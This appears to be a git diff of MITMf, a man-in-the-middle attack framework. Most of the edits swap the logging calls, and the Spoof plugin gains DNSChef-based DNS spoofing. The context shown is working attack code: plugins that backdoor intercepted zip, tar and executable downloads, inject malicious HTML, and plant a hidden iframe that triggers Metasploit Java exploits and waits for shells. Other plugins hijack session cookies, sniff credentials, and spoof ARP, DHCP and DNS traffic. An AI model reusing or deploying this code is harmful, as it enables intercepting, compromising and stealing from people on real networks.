CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
# POSSIBILITY OF SUCH DAMAGE.
|
||||||
POSSIBILITY OF SUCH DAMAGE.
|
#
|
||||||
|
# Tested on Kali-Linux.
|
||||||
Tested on Kali-Linux.
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
@ -74,6 +71,8 @@ from plugins.plugin import Plugin
|
||||||
from tempfile import mkstemp
|
from tempfile import mkstemp
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class FilePwn(Plugin):
|
class FilePwn(Plugin):
|
||||||
name = "FilePwn"
|
name = "FilePwn"
|
||||||
optname = "filepwn"
|
optname = "filepwn"
|
||||||
|
@ -303,7 +302,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
|
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
|
||||||
print "[!] TarFile over allowed size"
|
print "[!] TarFile over allowed size"
|
||||||
logging.info("TarFIle maxSize met %s", len(aTarFileBytes))
|
mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
|
||||||
self.patched.put(aTarFileBytes)
|
self.patched.put(aTarFileBytes)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -375,7 +374,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
if keywordCheck is True:
|
if keywordCheck is True:
|
||||||
print "[!] Tar blacklist enforced!"
|
print "[!] Tar blacklist enforced!"
|
||||||
logging.info('Tar blacklist enforced on %s', info.name)
|
mitmf_logger.info('Tar blacklist enforced on %s', info.name)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Try to patch
|
# Try to patch
|
||||||
|
@ -396,16 +395,16 @@ class FilePwn(Plugin):
|
||||||
info.size = os.stat(file2).st_size
|
info.size = os.stat(file2).st_size
|
||||||
with open(file2, 'rb') as f:
|
with open(file2, 'rb') as f:
|
||||||
newTarFile.addfile(info, f)
|
newTarFile.addfile(info, f)
|
||||||
logging.info("%s in tar patched, adding to tarfile", info.name)
|
mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
|
||||||
os.remove(file2)
|
os.remove(file2)
|
||||||
wasPatched = True
|
wasPatched = True
|
||||||
else:
|
else:
|
||||||
print "[!] Patching failed"
|
print "[!] Patching failed"
|
||||||
with open(tmp.name, 'rb') as f:
|
with open(tmp.name, 'rb') as f:
|
||||||
newTarFile.addfile(info, f)
|
newTarFile.addfile(info, f)
|
||||||
logging.info("%s patching failed. Keeping original file in tar.", info.name)
|
mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
|
||||||
if patchCount == int(self.userConfig['TAR']['patchCount']):
|
if patchCount == int(self.userConfig['TAR']['patchCount']):
|
||||||
logging.info("Met Tar config patchCount limit.")
|
mitmf_logger.info("Met Tar config patchCount limit.")
|
||||||
|
|
||||||
# finalize the writing of the tar file first
|
# finalize the writing of the tar file first
|
||||||
newTarFile.close()
|
newTarFile.close()
|
||||||
|
@ -431,7 +430,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
|
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
|
||||||
print "[!] ZipFile over allowed size"
|
print "[!] ZipFile over allowed size"
|
||||||
logging.info("ZipFIle maxSize met %s", len(aZipFile))
|
mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
|
||||||
self.patched.put(aZipFile)
|
self.patched.put(aZipFile)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -452,7 +451,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
except RuntimeError as e:
|
except RuntimeError as e:
|
||||||
if 'encrypted' in str(e):
|
if 'encrypted' in str(e):
|
||||||
logging.info('Encrypted zipfile found. Not patching.')
|
mitmf_logger.info('Encrypted zipfile found. Not patching.')
|
||||||
return aZipFile
|
return aZipFile
|
||||||
|
|
||||||
print "[*] ZipFile contents and info:"
|
print "[*] ZipFile contents and info:"
|
||||||
|
@ -488,7 +487,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
if keywordCheck is True:
|
if keywordCheck is True:
|
||||||
print "[!] Zip blacklist enforced!"
|
print "[!] Zip blacklist enforced!"
|
||||||
logging.info('Zip blacklist enforced on %s', info.filename)
|
mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
|
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
|
||||||
|
@ -498,17 +497,17 @@ class FilePwn(Plugin):
|
||||||
file2 = "backdoored/" + os.path.basename(info.filename)
|
file2 = "backdoored/" + os.path.basename(info.filename)
|
||||||
print "[*] Patching complete, adding to zip file."
|
print "[*] Patching complete, adding to zip file."
|
||||||
shutil.copyfile(file2, tmpDir + '/' + info.filename)
|
shutil.copyfile(file2, tmpDir + '/' + info.filename)
|
||||||
logging.info("%s in zip patched, adding to zipfile", info.filename)
|
mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
|
||||||
os.remove(file2)
|
os.remove(file2)
|
||||||
wasPatched = True
|
wasPatched = True
|
||||||
else:
|
else:
|
||||||
print "[!] Patching failed"
|
print "[!] Patching failed"
|
||||||
logging.info("%s patching failed. Keeping original file in zip.", info.filename)
|
mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
|
||||||
|
|
||||||
print '-' * 10
|
print '-' * 10
|
||||||
|
|
||||||
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
|
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
|
||||||
logging.info("Met Zip config patchCount limit.")
|
mitmf_logger.info("Met Zip config patchCount limit.")
|
||||||
break
|
break
|
||||||
|
|
||||||
zippyfile.close()
|
zippyfile.close()
|
||||||
|
@ -547,7 +546,7 @@ class FilePwn(Plugin):
|
||||||
if content_header in self.zipMimeTypes:
|
if content_header in self.zipMimeTypes:
|
||||||
|
|
||||||
if self.bytes_have_format(data, 'zip'):
|
if self.bytes_have_format(data, 'zip'):
|
||||||
logging.info("%s Detected supported zip file type!" % client_ip)
|
mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
|
||||||
|
|
||||||
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
||||||
process.daemon = True
|
process.daemon = True
|
||||||
|
@ -556,13 +555,13 @@ class FilePwn(Plugin):
|
||||||
bd_zip = self.patched.get()
|
bd_zip = self.patched.get()
|
||||||
|
|
||||||
if bd_zip:
|
if bd_zip:
|
||||||
logging.info("%s Patching complete, forwarding to client" % client_ip)
|
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||||
return {'request': request, 'data': bd_zip}
|
return {'request': request, 'data': bd_zip}
|
||||||
|
|
||||||
else:
|
else:
|
||||||
for tartype in ['gz','bz','tar']:
|
for tartype in ['gz','bz','tar']:
|
||||||
if self.bytes_have_format(data, tartype):
|
if self.bytes_have_format(data, tartype):
|
||||||
logging.info("%s Detected supported tar file type!" % client_ip)
|
mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
|
||||||
|
|
||||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||||
process.daemon = True
|
process.daemon = True
|
||||||
|
@ -571,14 +570,14 @@ class FilePwn(Plugin):
|
||||||
bd_tar = self.patched.get()
|
bd_tar = self.patched.get()
|
||||||
|
|
||||||
if bd_tar:
|
if bd_tar:
|
||||||
logging.info("%s Patching complete, forwarding to client" % client_ip)
|
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||||
return {'request': request, 'data': bd_tar}
|
return {'request': request, 'data': bd_tar}
|
||||||
|
|
||||||
|
|
||||||
elif content_header in self.binaryMimeTypes:
|
elif content_header in self.binaryMimeTypes:
|
||||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||||
if self.bytes_have_format(data, bintype):
|
if self.bytes_have_format(data, bintype):
|
||||||
logging.info("%s Detected supported binary type!" % client_ip)
|
mitmf_logger.info("%s Detected supported binary type!" % client_ip)
|
||||||
fd, tmpFile = mkstemp()
|
fd, tmpFile = mkstemp()
|
||||||
with open(tmpFile, 'w') as f:
|
with open(tmpFile, 'w') as f:
|
||||||
f.write(data)
|
f.write(data)
|
||||||
|
@ -592,9 +591,9 @@ class FilePwn(Plugin):
|
||||||
if patchb:
|
if patchb:
|
||||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||||
logging.info("%s Patching complete, forwarding to client" % client_ip)
|
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
|
||||||
return {'request': request, 'data': bd_binary}
|
return {'request': request, 'data': bd_binary}
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logging.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
|
mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
|
@ -28,6 +28,8 @@ import argparse
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class Inject(CacheKill, Plugin):
|
class Inject(CacheKill, Plugin):
|
||||||
name = "Inject"
|
name = "Inject"
|
||||||
optname = "inject"
|
optname = "inject"
|
||||||
|
@ -87,7 +89,7 @@ class Inject(CacheKill, Plugin):
|
||||||
self.ctable[ip] = time.time()
|
self.ctable[ip] = time.time()
|
||||||
self.dtable[ip+hn] = True
|
self.dtable[ip+hn] = True
|
||||||
self.count += 1
|
self.count += 1
|
||||||
logging.info("%s [%s] Injected malicious html" % (ip, hn))
|
mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
else:
|
else:
|
||||||
return
|
return
|
||||||
|
|
|
@ -35,6 +35,7 @@ from scapy.all import get_if_addr
|
||||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
requests_log.setLevel(logging.WARNING)
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class JavaPwn(BrowserProfiler, Plugin):
|
class JavaPwn(BrowserProfiler, Plugin):
|
||||||
name = "JavaPwn"
|
name = "JavaPwn"
|
||||||
|
@ -118,10 +119,10 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||||
#inject iframe
|
#inject iframe
|
||||||
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
|
mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip)
|
||||||
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
||||||
|
|
||||||
logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
|
mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
|
||||||
|
|
||||||
exit = False
|
exit = False
|
||||||
i = 1
|
i = 1
|
||||||
|
@ -132,7 +133,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
if len(shell) > 0:
|
if len(shell) > 0:
|
||||||
for k, v in shell.iteritems():
|
for k, v in shell.iteritems():
|
||||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||||
logging.info("%s >> Got shell!" % client_ip)
|
mitmf_logger.info("%s >> Got shell!" % client_ip)
|
||||||
self.sploited_ips.append(client_ip) #target successfuly exploited :)
|
self.sploited_ips.append(client_ip) #target successfuly exploited :)
|
||||||
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||||
exit = True
|
exit = True
|
||||||
|
@ -141,13 +142,13 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
if exit is False: #We didn't get a shell :(
|
if exit is False: #We didn't get a shell :(
|
||||||
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip)
|
||||||
|
|
||||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
|
||||||
def send_command(self, cmd, msf, vic_ip):
|
def send_command(self, cmd, msf, vic_ip):
|
||||||
try:
|
try:
|
||||||
logging.info("%s >> sending commands to metasploit" % vic_ip)
|
mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip)
|
||||||
|
|
||||||
#Create a virtual console
|
#Create a virtual console
|
||||||
console_id = msf.call('console.create')['id']
|
console_id = msf.call('console.create')['id']
|
||||||
|
@ -155,9 +156,9 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
#write the cmd to the newly created console
|
#write the cmd to the newly created console
|
||||||
msf.call('console.write', [console_id, cmd])
|
msf.call('console.write', [console_id, cmd])
|
||||||
|
|
||||||
logging.info("%s >> commands sent succesfully" % vic_ip)
|
mitmf_logger.info("%s >> commands sent succesfully" % vic_ip)
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
|
mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
|
||||||
|
|
||||||
def pwn(self, msf):
|
def pwn(self, msf):
|
||||||
while True:
|
while True:
|
||||||
|
@ -169,19 +170,19 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
vic_ip = brwprofile['ip']
|
vic_ip = brwprofile['ip']
|
||||||
|
|
||||||
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
|
mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
|
||||||
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
|
mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip)
|
||||||
|
|
||||||
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
|
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
|
||||||
|
|
||||||
if exploits:
|
if exploits:
|
||||||
|
|
||||||
if len(exploits) > 1:
|
if len(exploits) > 1:
|
||||||
logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
|
mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
|
||||||
exploit = random.choice(exploits)
|
exploit = random.choice(exploits)
|
||||||
logging.info("%s >> choosing %s" %(vic_ip, exploit))
|
mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit))
|
||||||
else:
|
else:
|
||||||
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
|
mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
|
||||||
exploit = exploits[0]
|
exploit = exploits[0]
|
||||||
|
|
||||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||||
|
@ -190,7 +191,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
for k, v in jobs.iteritems():
|
for k, v in jobs.iteritems():
|
||||||
info = msf.call('job.info', [k])
|
info = msf.call('job.info', [k])
|
||||||
if exploit in info['name']:
|
if exploit in info['name']:
|
||||||
logging.info('%s >> %s already started' % (vic_ip, exploit))
|
mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit))
|
||||||
url = info['uripath'] #get the url assigned to the exploit
|
url = info['uripath'] #get the url assigned to the exploit
|
||||||
self.injectWait(msf, url, vic_ip)
|
self.injectWait(msf, url, vic_ip)
|
||||||
|
|
||||||
|
@ -207,15 +208,15 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
cmd += "set LPORT %s\n" % rand_port
|
cmd += "set LPORT %s\n" % rand_port
|
||||||
cmd += "exploit -j\n"
|
cmd += "exploit -j\n"
|
||||||
|
|
||||||
logging.debug("command string:\n%s" % cmd)
|
mitmf_logger.debug("command string:\n%s" % cmd)
|
||||||
|
|
||||||
self.send_command(cmd, msf, vic_ip)
|
self.send_command(cmd, msf, vic_ip)
|
||||||
|
|
||||||
self.injectWait(msf, rand_url, vic_ip)
|
self.injectWait(msf, rand_url, vic_ip)
|
||||||
else:
|
else:
|
||||||
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
|
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
|
||||||
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
|
mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
|
||||||
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
|
mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip)
|
||||||
|
|
||||||
rand_url = self.rand_url()
|
rand_url = self.rand_url()
|
||||||
rand_port = random.randint(1000, 65535)
|
rand_port = random.randint(1000, 65535)
|
||||||
|
|
|
@ -29,6 +29,7 @@ import re
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class Replace(CacheKill, Plugin):
|
class Replace(CacheKill, Plugin):
|
||||||
name = "Replace"
|
name = "Replace"
|
||||||
|
@ -70,14 +71,14 @@ class Replace(CacheKill, Plugin):
|
||||||
|
|
||||||
if self.search_str is not None and self.search_str != "":
|
if self.search_str is not None and self.search_str != "":
|
||||||
data = data.replace(self.search_str, self.replace_str)
|
data = data.replace(self.search_str, self.replace_str)
|
||||||
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
|
mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
|
||||||
|
|
||||||
# Did the user provide us with a regex file?
|
# Did the user provide us with a regex file?
|
||||||
for regex in self.regexes:
|
for regex in self.regexes:
|
||||||
try:
|
try:
|
||||||
data = re.sub(regex[0], regex[1], data)
|
data = re.sub(regex[0], regex[1], data)
|
||||||
|
|
||||||
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||||
except Exception:
|
except Exception:
|
||||||
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,6 @@ import logging
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
from core.wrappers.protocols import _DNS
|
|
||||||
|
|
||||||
class HSTSbypass(Plugin):
|
class HSTSbypass(Plugin):
|
||||||
name = 'SSLstrip+'
|
name = 'SSLstrip+'
|
||||||
|
@ -44,19 +43,13 @@ class HSTSbypass(Plugin):
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
||||||
|
|
||||||
if not options.manualiptables:
|
|
||||||
SystemConfig.iptables.DNS(1)
|
|
||||||
|
|
||||||
self.dns = _DNS.getInstance()
|
|
||||||
self.dns.enableHSTS(config)
|
|
||||||
|
|
||||||
self.output.append("SSLstrip+ by Leonardo Nve running")
|
self.output.append("SSLstrip+ by Leonardo Nve running")
|
||||||
|
|
||||||
URLMonitor.getInstance().setHstsBypass(config)
|
URLMonitor.getInstance().setHstsBypass(config)
|
||||||
|
|
||||||
def finish(self):
|
#def finish(self):
|
||||||
if _DNS.checkInstance() is True:
|
# if _DNS.checkInstance() is True:
|
||||||
_DNS.getInstance().stop()
|
# _DNS.getInstance().stop()
|
||||||
|
|
||||||
if not self.manualiptables:
|
# if not self.manualiptables:
|
||||||
SystemConfig.iptables.Flush()
|
# SystemConfig.iptables.Flush()
|
||||||
|
|
|
@ -32,6 +32,8 @@ import sqlite3
|
||||||
import json
|
import json
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class SessionHijacker(Plugin):
|
class SessionHijacker(Plugin):
|
||||||
name = "Session Hijacker"
|
name = "Session Hijacker"
|
||||||
optname = "hijack"
|
optname = "hijack"
|
||||||
|
@ -84,7 +86,7 @@ class SessionHijacker(Plugin):
|
||||||
cvalue = str(cookie)[eq+1:].strip()
|
cvalue = str(cookie)[eq+1:].strip()
|
||||||
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
||||||
|
|
||||||
logging.info("%s << Inserted cookie into firefox db" % client_ip)
|
mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip)
|
||||||
|
|
||||||
if self.mallory:
|
if self.mallory:
|
||||||
if len(self.sessions) > 0:
|
if len(self.sessions) > 0:
|
||||||
|
@ -93,12 +95,12 @@ class SessionHijacker(Plugin):
|
||||||
temp.append(session[0])
|
temp.append(session[0])
|
||||||
if headers['host'] not in temp:
|
if headers['host'] not in temp:
|
||||||
self.sessions.append((headers['host'], headers['cookie']))
|
self.sessions.append((headers['host'], headers['cookie']))
|
||||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||||
logging.info("%s Sent cookie to browser extension" % client_ip)
|
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
|
||||||
else:
|
else:
|
||||||
self.sessions.append((headers['host'], headers['cookie']))
|
self.sessions.append((headers['host'], headers['cookie']))
|
||||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||||
logging.info("%s Sent cookie to browser extension" % client_ip)
|
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
|
||||||
|
|
||||||
#def handleHeader(self, request, key, value): # Server => Client
|
#def handleHeader(self, request, key, value): # Server => Client
|
||||||
# if 'set-cookie' in request.client.headers:
|
# if 'set-cookie' in request.client.headers:
|
||||||
|
@ -108,7 +110,7 @@ class SessionHijacker(Plugin):
|
||||||
# if self.urlMonitor.isClientLogging() is True:
|
# if self.urlMonitor.isClientLogging() is True:
|
||||||
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
|
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
|
||||||
# else:
|
# else:
|
||||||
# logging.info(message)
|
# mitmf_logger.info(message)
|
||||||
|
|
||||||
def mallory_server(self):
|
def mallory_server(self):
|
||||||
host = ''
|
host = ''
|
||||||
|
|
|
@ -35,6 +35,8 @@ import threading
|
||||||
import re
|
import re
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class Sniffer(Plugin):
|
class Sniffer(Plugin):
|
||||||
name = "Sniffer"
|
name = "Sniffer"
|
||||||
optname = "sniffer"
|
optname = "sniffer"
|
||||||
|
@ -103,7 +105,7 @@ class Sniffer(Plugin):
|
||||||
if param.split('=')[0] == search_param:
|
if param.split('=')[0] == search_param:
|
||||||
query = str(param.split('=')[1])
|
query = str(param.split('=')[1])
|
||||||
if query:
|
if query:
|
||||||
logging.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
|
mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
error = str(e)
|
error = str(e)
|
||||||
logging.warning(request.clientInfo + "Error parsing search query %s" % error)
|
logging.warning(request.clientInfo + "Error parsing search query %s" % error)
|
||||||
|
@ -809,7 +811,7 @@ class NetCreds:
|
||||||
if dst_ip_port != None:
|
if dst_ip_port != None:
|
||||||
print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg)
|
print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg)
|
||||||
# All credentials will have dst_ip_port, URLs will not
|
# All credentials will have dst_ip_port, URLs will not
|
||||||
logging.info(print_str)
|
mitmf_logger.info(print_str)
|
||||||
else:
|
else:
|
||||||
print_str = '%s %s' % (src_ip_port.split(':')[0], msg)
|
print_str = '%s %s' % (src_ip_port.split(':')[0], msg)
|
||||||
logging.info(print_str)
|
mitmf_logger.info(print_str)
|
||||||
|
|
|
@ -23,8 +23,9 @@ import sys
|
||||||
|
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
from core.sslstrip.DnsCache import DnsCache
|
from core.sslstrip.DnsCache import DnsCache
|
||||||
from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS
|
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
from libs.dnschef.dnschef import start_dnschef
|
||||||
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
|
@ -32,7 +33,7 @@ from scapy.all import *
|
||||||
class Spoof(Plugin):
|
class Spoof(Plugin):
|
||||||
name = "Spoof"
|
name = "Spoof"
|
||||||
optname = "spoof"
|
optname = "spoof"
|
||||||
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
|
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||||
version = "0.6"
|
version = "0.6"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
req_root = True
|
req_root = True
|
||||||
|
@ -86,21 +87,16 @@ class Spoof(Plugin):
|
||||||
dhcp.debug = debug
|
dhcp.debug = debug
|
||||||
self.protocolInstances.append(dhcp)
|
self.protocolInstances.append(dhcp)
|
||||||
|
|
||||||
else:
|
|
||||||
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
|
||||||
|
|
||||||
if options.dns:
|
if options.dns:
|
||||||
|
|
||||||
if not options.manualiptables:
|
if not options.manualiptables:
|
||||||
SystemConfig.iptables.DNS(0)
|
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
|
||||||
|
|
||||||
dnscache = DnsCache.getInstance()
|
start_dnschef(options, self.dnscfg)
|
||||||
|
self.output.append("DNSChef v0.3 online")
|
||||||
|
|
||||||
for domain, ip in self.dnscfg.iteritems():
|
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||||
dnscache.cacheResolution(domain, ip)
|
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||||
|
|
||||||
self.dns = _DNS.getInstance()
|
|
||||||
self.dns.enableDNS(self.dnscfg)
|
|
||||||
|
|
||||||
SystemConfig.setIpForwarding(1)
|
SystemConfig.setIpForwarding(1)
|
||||||
|
|
||||||
|
@ -115,7 +111,7 @@ class Spoof(Plugin):
|
||||||
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
|
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
|
||||||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
